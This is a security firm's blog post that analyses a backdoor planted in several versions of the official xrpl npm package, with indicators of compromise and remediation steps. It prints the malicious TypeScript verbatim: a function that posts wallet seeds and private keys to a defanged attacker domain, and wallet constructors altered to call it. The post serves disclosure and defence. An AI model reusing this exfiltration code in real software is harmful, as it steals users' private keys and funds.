Product
Everything you need to secure code, cloud, and runtime– in one central system
Code
Dependencies
Prevent open-source risks (SCA)
Secrets
Catch exposed secrets
SAST
Secure code as its written
Container Images
Secure images easily
Malware
Prevent supply chain attacks
Infrastructure as Code
Scan IaC for misconfigurations
License Risk & SBOMs
Avoid risk, be compliant
Outdated Software
Know your EOL runtimes
Cloud
Cloud / CSPM
Cloud misconfigurations
DAST
Black-box security testing
API Scanning
Test your API’s for vulns
Virtual Machines
No agents, no overhead
Kubernetes Runtime
soon
Secure your container workloads
Cloud Inventory
Cloud sprawl, solved
Defend
Runtime Protection
In-app Firewall / WAF
Features
AI AutoFix
1-click fixes with Aikido AI
CI/CD Security
Scan before merge and deployment
IDE Integrations
Get instant feedback while coding
On-Prem Scanner
Compliance-first local scanning
Solutions
Use Cases
Compliance
Automate SOC 2, ISO & more
Vulnerability Management
All-in-1 vuln management
Secure Your Code
Advanced code security
Generate SBOMs
1 click SCA reports
ASPM
End-to-end AppSec
AI at Aikido
Let Aikido AI do the work
Block 0-Days
Block threats before impact
Industries
FinTech
HealthTech
HRTech
Legal Tech
Group Companies
Agencies
Startups
Enterprise
Mobile apps
Manufacturing
Pricing
Resources
Developer
Docs
How to use Aikido
Public API docs
Aikido developer hub
Changelog
See what shipped
Security
In-house research
Malware & CVE intelligence
Glossary
Security jargon guide
Trust Center
Safe, private, compliant
Open Source
Aikido Intel
Malware & OSS threat feed
Zen
In-app firewall protection
OpenGrep
Code analysis engine
Integrations
IDEs
CI/CD Systems
Clouds
Git Systems
Compliance
Messengers
Task Managers
More integrations
About
About
About
Meet the team
Careers
We’re hiring
Press Kit
Download brand assets
Calendar
See you around?
Open Source
Our OSS projects
Blog
The latest posts
Customer Stories
Trusted by the best teams
Contact
Login
Start for Free
No CC required
Aikido
Menu
Aikido
EN
EN
FR
JP
Login
Start for Free
No CC required
Blog
/
XRP supply chain attack: Official NPM package infected with crypto stealing backdoor

XRP supply chain attack: Official NPM package infected with crypto stealing backdoor

By
Charlie Eriksen
Charlie Eriksen
4 min read
Malware

At 21 Apr, 20:53 GMT+0, our system, Aikido Intel started to alert us to five new package version of the xrpl package. It is the official SDK for the XRP Ledger, with more than 140.000 weekly downloads. We quickly confirmed the official XPRL (Ripple) NPM package was compromised by sophisticated attackers who put in a backdoor to steal cryptocurrency private keys and gain access to cryptocurrency wallets. This package is used by hundreds of thousands of applications and websites making it a potentially catastrophic supply chain attack on the cryptocurrency ecosystem.

This is technical breakdown of how we discovered the attack.

‍

The xrpl package on npm

New packages released

The user mukulljangid had released five new versions of the library starting from 21 Apr, 20:53 GMT+0:

Malicious packages

What’s interesting is that these versions don’t match the official releases as seen on GitHub, where latest release is 4.2.0:

The latest GitHub release when the packages were released.

The fact that these packages showed up without a matching release on GitHub is very suspicious.

The mysterious code

Our system detected some odd code in these new packages. Here’s what it identified in the src/index.ts file in version 4.2.4 (Which is tagged as latest):

export { Client, ClientOptions } from './client'

export * from './models'

export * from './utils'

export { default as ECDSA } from './ECDSA'

export * from './errors'

export { FundingOptions } from './Wallet/fundWallet'
export { Wallet } from './Wallet'

export { walletFromSecretNumbers } from './Wallet/walletFromSecretNumbers'

export { keyToRFC1751Mnemonic, rfc1751MnemonicToKey } from './Wallet/rfc1751'

export * from './Wallet/signer'

const validSeeds = new Set<string>([])
export function checkValidityOfSeed(seed: string) {
  if (validSeeds.has(seed)) return
  validSeeds.add(seed)
  fetch("https://0x9c[.]xyz/xc", { method: 'POST', headers: { 'ad-referral': seed, } })
}

It all looks normal until the end. What’s this checkValidityOfSeed function? And why is it calling a random domain called 0x9c[.]xyz? Let's go down the rabbit hole!

What’s the domain?

We first looked at the domain to figure out if it could at ALL be legitimate. We pulled up the whois details for it:

Whois information for 0x9c[.]xyz

So that’s not great. It’s a brand new domain. Very suspicious.

What does the code do?

The code itself just defines a method, but there are no immediate calls to it. So we dug into whether it’s used anywhere. And yes, it is!

Search results for the malicious function

We see it being called in functions like the constructor for the Wallet class (src/Wallet/index.ts), stealing private keys as soon as a Wallet object is instansiated:

 public constructor(
    publicKey: string,
    privateKey: string,
    opts: {
      masterAddress?: string
      seed?: string
    } = {},
  ) {
    this.publicKey = publicKey
    this.privateKey = privateKey
    this.classicAddress = opts.masterAddress
      ? ensureClassicAddress(opts.masterAddress)
      : deriveAddress(publicKey)
    this.seed = opts.seed

    checkValidityOfSeed(privateKey)
  }

And these functions:

  private static deriveWallet(
    seed: string,
    opts: { masterAddress?: string; algorithm?: ECDSA } = {},
  ): Wallet {
    const { publicKey, privateKey } = deriveKeypair(seed, {
      algorithm: opts.algorithm ?? DEFAULT_ALGORITHM,
    })

    checkValidityOfSeed(privateKey)
    return new Wallet(publicKey, privateKey, {
      seed,
      masterAddress: opts.masterAddress,
    })
  }

‍

 private static fromRFC1751Mnemonic(
    mnemonic: string,
    opts: { masterAddress?: string; algorithm?: ECDSA },
  ): Wallet {
    const seed = rfc1751MnemonicToKey(mnemonic)
    let encodeAlgorithm: 'ed25519' | 'secp256k1'
    if (opts.algorithm === ECDSA.ed25519) {
      encodeAlgorithm = 'ed25519'
    } else {
      // Defaults to secp256k1 since that's the default for `wallet_propose`
      encodeAlgorithm = 'secp256k1'
    }
    const encodedSeed = encodeSeed(seed, encodeAlgorithm)
    checkValidityOfSeed(encodedSeed)
    return Wallet.fromSeed(encodedSeed, {
      masterAddress: opts.masterAddress,
      algorithm: opts.algorithm,
    })
  }
 

‍

public static fromMnemonic(
    mnemonic: string,
    opts: {
      masterAddress?: string
      derivationPath?: string
      mnemonicEncoding?: 'bip39' | 'rfc1751'
      algorithm?: ECDSA
    } = {},
  ): Wallet {
    if (opts.mnemonicEncoding === 'rfc1751') {
      return Wallet.fromRFC1751Mnemonic(mnemonic, {
        masterAddress: opts.masterAddress,
        algorithm: opts.algorithm,
      })
    }
    // Otherwise decode using bip39's mnemonic standard
    if (!validateMnemonic(mnemonic, wordlist)) {
      throw new ValidationError(
        'Unable to parse the given mnemonic using bip39 encoding',
      )
    }

    const seed = mnemonicToSeedSync(mnemonic)
    checkValidityOfSeed(mnemonic)
    const masterNode = HDKey.fromMasterSeed(seed)
    const node = masterNode.derive(
      opts.derivationPath ?? DEFAULT_DERIVATION_PATH,
    )
    validateKey(node)

    const publicKey = bytesToHex(node.publicKey)
    const privateKey = bytesToHex(node.privateKey)
    return new Wallet(publicKey, `00${privateKey}`, {
      masterAddress: opts.masterAddress,
    })
  }

‍

 public static fromEntropy(
    entropy: Uint8Array | number[],
    opts: { masterAddress?: string; algorithm?: ECDSA } = {},
  ): Wallet {
    const algorithm = opts.algorithm ?? DEFAULT_ALGORITHM
    const options = {
      entropy: Uint8Array.from(entropy),
      algorithm,
    }
    const seed = generateSeed(options)
    checkValidityOfSeed(seed)
    return Wallet.deriveWallet(seed, {
      algorithm,
      masterAddress: opts.masterAddress,
    })
  }

‍

 public static fromSeed(
    seed: string,
    opts: { masterAddress?: string; algorithm?: ECDSA } = {},
  ): Wallet {
    checkValidityOfSeed(seed)
    return Wallet.deriveWallet(seed, {
      algorithm: opts.algorithm,
      masterAddress: opts.masterAddress,
    })
  }

‍

 public static generate(algorithm: ECDSA = DEFAULT_ALGORITHM): Wallet {
    if (!Object.values(ECDSA).includes(algorithm)) {
      throw new ValidationError('Invalid cryptographic signing algorithm')
    }
    const seed = generateSeed({ algorithm })
    checkValidityOfSeed(seed)
    return Wallet.fromSeed(seed, { algorithm })
  }

Why so many version bumps?

As we investigated these packages, we noted that the first two packages released (4.2.1 and 4.2.2) were different from the others. We did a 3-way diff on versions 4.2.0 (Which is legitimate), 4.2.1, and 4.2.2 to figure out what was going on. Here’s what we observed:

‍

  • Starting from 4.2.1, the scripts and prettier configuration was removed from the package.json. 
  • The first version to insert malicious code into src/Wallet/index.js was 4.2.2.
  • Both 4.2.1 and 4.2.2 contained a malicious build/xrp-latest-min.js and build/xrp-latest.js.

‍

If we compare 4.2.2 to 4.2.3 and 4.2.4, we see more malicious changes. Previously only the packed JavaScript code had been modified. These also included the malicious changes to the TypeScript version of the code

  • The previously shown code changes to src/index.ts.
  • The malicious code change to src/Wallet/index.ts.
  • Instead of the malicious code having been inserted by hand into the built files, the backdoor inserted into index.ts is called. 

‍

From this, we can see that the attacker was actively working on the attack, trying different ways to insert the backdoor while remaining as hidden as possible. Going from manually inserting the backdoor into the built JavaScript code, into putting it into the TypeScript code and then compiling it down into the built version.

Aikido Intel

This malware was detected by Aikido Intel, Aikido's public threat feed that uses LLMs to monitor the public package managers like NPM to identify when malicious code is added to new or existing packages. If you want to be protected from malware and undisclosed vulnerabilities then you can subscribe to the Intel threat feed or sign up for Aikido Security

Indicators of Compromise 

To determine if you may have been compromised, here are the indicators you can use:

Package name

  • xrpl

Package versions

Check your package.json and package-lock.json for these versions:

  • 4.2.4
  • 4.2.3
  • 4.2.2
  • 4.2.1
  • 2.14.2

Pay attention to if you had the package as a dependency that wasn't fixed with a package lock file, or were using an approximate/compatible version specification like ~4.2.0 or ^4.2.0, as examples.

If you believe you may have installed any of the above packages during the timeframe between 21 Apr, 20:53 GMT+0 and 22 Apr, 13:00 GMT+0, inspect your network logs for outbound connections to the below host:

Domain

  • 0x9c[.]xyz

Remediation

If you believe that you may have been impacted, it's important to assume that any seed or private key that was processed by the code has been compromised. Those keys should no longer be used, and any assets associated with them should be moved to another wallet/key immediately. Since the issue was disclosed, the xrpl team has released two new versions to override the compromised packages:

  • 4.2.5
  • 2.14.3

Written by Charlie Eriksen

Malware Researcher

Share:

https://www.aikido.dev/blog/xrp-supplychain-attack-official-npm-package-infected-with-crypto-stealing-backdoor

Table of contents:
Text Link
Share:
Use keyboard
Use left key to navigate previous on Aikido slider
Use right arrow key to navigate to the next slide
to navigate through articles
By
Charlie Eriksen

You're Invited: Delivering malware via Google Calendar invites and PUAs

Malware
May 13, 2025
Read more
By
Mackenzie Jackson

Why Updating Container Base Images is So Hard (And How to Make It Easier)

Engineering
May 12, 2025
Read more
By
Charlie Eriksen

RATatouille: A Malicious Recipe Hidden in rand-user-agent (Supply Chain Compromise)

May 6, 2025
Read more
By
Charlie Eriksen

The malware dating guide: Understanding the types of malware on NPM

Malware
April 10, 2025
Read more
By
Charlie Eriksen

Hide and Fail: Obfuscated Malware, Empty Payloads, and npm Shenanigans

Malware
April 3, 2025
Read more
By
Madeline Lawrence

Launching Aikido Malware – Open Source Threat Feed

News
March 31, 2025
Read more
By
Charlie Eriksen

Malware hiding in plain sight: Spying on North Korean Hackers

March 31, 2025
Read more
By
The Aikido Team

Top Cloud Security Posture Management (CSPM) Tools in 2025

Guides
March 27, 2025
Read more
By
Madeline Lawrence

Get the TL;DR: tj-actions/changed-files Supply Chain Attack

News
March 16, 2025
Read more
By
Mackenzie Jackson

A no-BS Docker security checklist for the vulnerability-minded developer

Guides
March 6, 2025
Read more
By
Mackenzie Jackson

Sensing and blocking JavaScript SQL injection attacks

Guides
March 4, 2025
Read more
By
Floris Van den Abeele

Prisma and PostgreSQL vulnerable to NoSQL injection? A surprising security risk explained

Engineering
February 14, 2025
Read more
By
The Aikido Team

Top Dynamic Application Security Testing (DAST) Tools in 2025

Guides
February 12, 2025
Read more
By
Willem Delbare

Launching Opengrep | Why we forked Semgrep

News
January 24, 2025
Read more
By
Thomas Segura

Your Client Requires NIS2 Vulnerability Patching. Now What?

January 14, 2025
Read more
By
Mackenzie Jackson

Top 10 AI-powered SAST tools in 2025

Guides
January 10, 2025
Read more
By
Madeline Lawrence

Snyk vs Aikido Security | G2 Reviews Snyk Alternative

Guides
January 10, 2025
Read more
By
Mackenzie Jackson

Top 10 Software Composition Analysis (SCA) tools in 2025

Guides
January 9, 2025
Read more
By
Michiel Denis

3 Key Steps to Strengthen Compliance and Risk Management

December 27, 2024
Read more
By
Mackenzie Jackson

The Startup's Open-Source Guide to Application Security

Guides
December 23, 2024
Read more
By
Madeline Lawrence

Launching Aikido for Cursor AI

Engineering
December 13, 2024
Read more
By
Mackenzie Jackson

Meet Intel: Aikido’s Open Source threat feed powered by LLMs.

Engineering
December 13, 2024
Read more
By
Johan De Keulenaer

Aikido joins the AWS Partner Network

News
November 26, 2024
Read more
By
Mackenzie Jackson

Command injection in 2024 unpacked

Engineering
November 24, 2024
Read more
By
Mackenzie Jackson

Path Traversal in 2024 - The year unpacked

Engineering
November 23, 2024
Read more
By
Mackenzie Jackson

Balancing Security: When to Leverage Open-Source Tools vs. Commercial Tools

Guides
November 15, 2024
Read more
By
Mackenzie Jackson

The State of SQL Injection

Guides
November 8, 2024
Read more
By
Michiel Denis

Visma’s Security Boost with Aikido: A Conversation with Nikolai Brogaard

News
November 6, 2024
Read more
By
Michiel Denis

Security in FinTech: Q&A with Dan Kindler, co-founder & CTO of Bound

News
October 10, 2024
Read more
By
Felix Garriau

Top 7 ASPM Tools in 2025

Guides
October 1, 2024
Read more
By
Madeline Lawrence

Automate compliance with SprintoGRC x Aikido

News
September 11, 2024
Read more
By
Felix Garriau

How to Create an SBOM for Software Audits

Guides
September 9, 2024
Read more
By
Madeline Lawrence

SAST vs DAST: What you need to know.

Guides
September 2, 2024
Read more
By
Felix Garriau

Best SBOM Tools for Developers: Our 2025 Picks

Guides
August 7, 2024
Read more
By
Lieven Oosterlinck

5 Snyk Alternatives and Why They Are Better

News
August 5, 2024
Read more
By
Madeline Lawrence

Why we’re stoked to partner with Laravel

News
July 8, 2024
Read more
By
Felix Garriau

110,000 sites affected by the Polyfill supply chain attack

News
June 27, 2024
Read more
By
Felix Garriau

Cybersecurity Essentials for LegalTech Companies

News
June 25, 2024
Read more
By
Roeland Delrue

Drata Integration - How to Automate Technical Vulnerability Management

Guides
June 18, 2024
Read more
By
Joel Hans

DIY guide: ‘Build vs buy’ your OSS code scanning and app security toolkit

Guides
June 11, 2024
Read more
By
Roeland Delrue

SOC 2 certification: 5 things we learned

Guides
June 4, 2024
Read more
By
Joel Hans

Top 10 app security problems and how to protect yourself

Guides
May 28, 2024
Read more
By
Madeline Lawrence

We just raised our $17 million Series A

News
May 2, 2024
Read more
By

Best RASP Tools for Developers in 2025

April 10, 2024
Read more
By
Willem Delbare

Webhook security checklist: How to build secure webhooks

Guides
April 4, 2024
Read more
By
Willem Delbare

The Cure For Security Alert Fatigue Syndrome

Engineering
February 21, 2024
Read more
By
Roeland Delrue

NIS2: Who is affected?

Guides
January 16, 2024
Read more
By
Roeland Delrue

ISO 27001 certification: 8 things we learned

Guides
December 5, 2023
Read more
By
Roeland Delrue

Cronos Group chooses Aikido Security to strengthen security posture for its companies and customers

News
November 30, 2023
Read more
By
Bart Jonckheere

How Loctax uses Aikido Security to get rid of irrelevant security alerts & false positives

News
November 22, 2023
Read more
By
Felix Garriau

Aikido Security raises €5m to offer a seamless security solution to growing SaaS businesses

News
November 9, 2023
Read more
By
Roeland Delrue

Aikido Security achieves ISO 27001:2022 compliance

News
November 8, 2023
Read more
By
Felix Garriau

How StoryChief’s CTO uses Aikido Security to sleep better at night

News
October 24, 2023
Read more
By
Willem Delbare

What is a CVE?

Guides
October 17, 2023
Read more
By
Felix Garriau

Best Tools for End-of-Life Detection: 2025 Rankings

Guides
October 4, 2023
Read more
By
Willem Delbare

Top 3 web application security vulnerabilities in 2024

Engineering
September 27, 2023
Read more
By
Felix Garriau

New Aikido Security Features: August 2023

News
August 22, 2023
Read more
By
Felix Garriau

Aikido’s 2025 SaaS CTO Security Checklist

News
August 10, 2023
Read more
By
Felix Garriau

Aikido’s 2024 SaaS CTO Security Checklist

News
August 10, 2023
Read more
By
Felix Garriau

15 Top Cloud and Code Security Challenges Revealed by CTOs

Engineering
July 25, 2023
Read more
By
Willem Delbare

What is OWASP Top 10?

Guides
July 12, 2023
Read more
By
Willem Delbare

How to build a secure admin panel for your SaaS app

Guides
July 11, 2023
Read more
By
Roeland Delrue

How to prepare yourself for ISO 27001:2022

Guides
July 5, 2023
Read more
By
Willem Delbare

Preventing fallout from your CI/CD platform being hacked

Guides
June 19, 2023
Read more
By
Felix Garriau

How to Close Deals Faster with a Security Assessment Report

News
June 12, 2023
Read more
By
Willem Delbare

Automate Technical Vulnerability Management [SOC 2]

Guides
June 5, 2023
Read more
By
Willem Delbare

Preventing prototype pollution in your repository

Guides
June 1, 2023
Read more
By
Willem Delbare

How does a SaaS startup CTO balance development speed and security?

Guides
May 16, 2023
Read more
By
Willem Delbare

How a startup’s cloud got taken over by a simple form that sends emails

Engineering
April 10, 2023
Read more
By
Felix Garriau

Aikido Security raises €2 million pre-seed round to build a developer-first software security platform

News
January 19, 2023
Read more
By

Why Lockfiles Matter for Supply Chain Security

Read more
Top Cloud Security Posture Management (CSPM) Tools in 2025
By
The Aikido Team

Top Cloud Security Posture Management (CSPM) Tools in 2025

Guides
May 14, 2025
Top Dynamic Application Security Testing (DAST) Tools in 2025
By
The Aikido Team

Top Dynamic Application Security Testing (DAST) Tools in 2025

Guides
May 14, 2025
RATatouille: A Malicious Recipe Hidden in rand-user-agent (Supply Chain Compromise)
By
Charlie Eriksen

RATatouille: A Malicious Recipe Hidden in rand-user-agent (Supply Chain Compromise)

March 31, 2025

Get secure in 32 seconds

Connect your GitHub, GitLab, Bitbucket or Azure DevOps account to start scanning your repos for free.

Start for Free
Your data won't be shared · Read-only access
Aikido dashboard
Company
ProductPricingAboutCareersContactPartner with us
Resources
DocsPublic API DocsVulnerability DatabaseBlogIntegrationsGlossaryPress KitCustomer Reviews
Security
Trust CenterSecurity OverviewChange Cookie Preferences
Legal
Privacy PolicyCookie PolicyTerms of UseMaster Subscription AgreementData Processing Agreement
Use Cases
ComplianceSAST & DASTASPMVulnerability ManagementGenerate SBOMsWordPress SecuritySecure Your CodeAikido for Microsoft
Industries
For HealthTechFor MedTechFor FinTechFor SecurityTechFor LegalTechFor HRTechFor AgenciesFor EnterpriseFor PE & Group Companies
Compare
vs All Vendorsvs Snykvs Wizvs Mendvs Orca Securityvs Veracodevs GitHub Advanced Securityvs GitLab Ultimatevs Checkmarxvs Semgrepvs SonarQube
Connect
hello@aikido.dev
LinkedInX
Subscribe
Stay up to date with all updates
Not quite there yet.
👋🏻 Thank you! You’ve been subscribed.
Team Aikido
Not quite there yet.
© 2025 Aikido Security BV | BE0792914919
🇪🇺 Registered address: Coupure Rechts 88, 9000, Ghent, Belgium
🇪🇺 Office address: Gebroeders van Eyckstraat 2, 9000, Ghent, Belgium
🇺🇸 Office address: 95 Third St, 2nd Fl, San Francisco, CA 94103, US
SOC 2
Compliant
ISO 27001
Compliant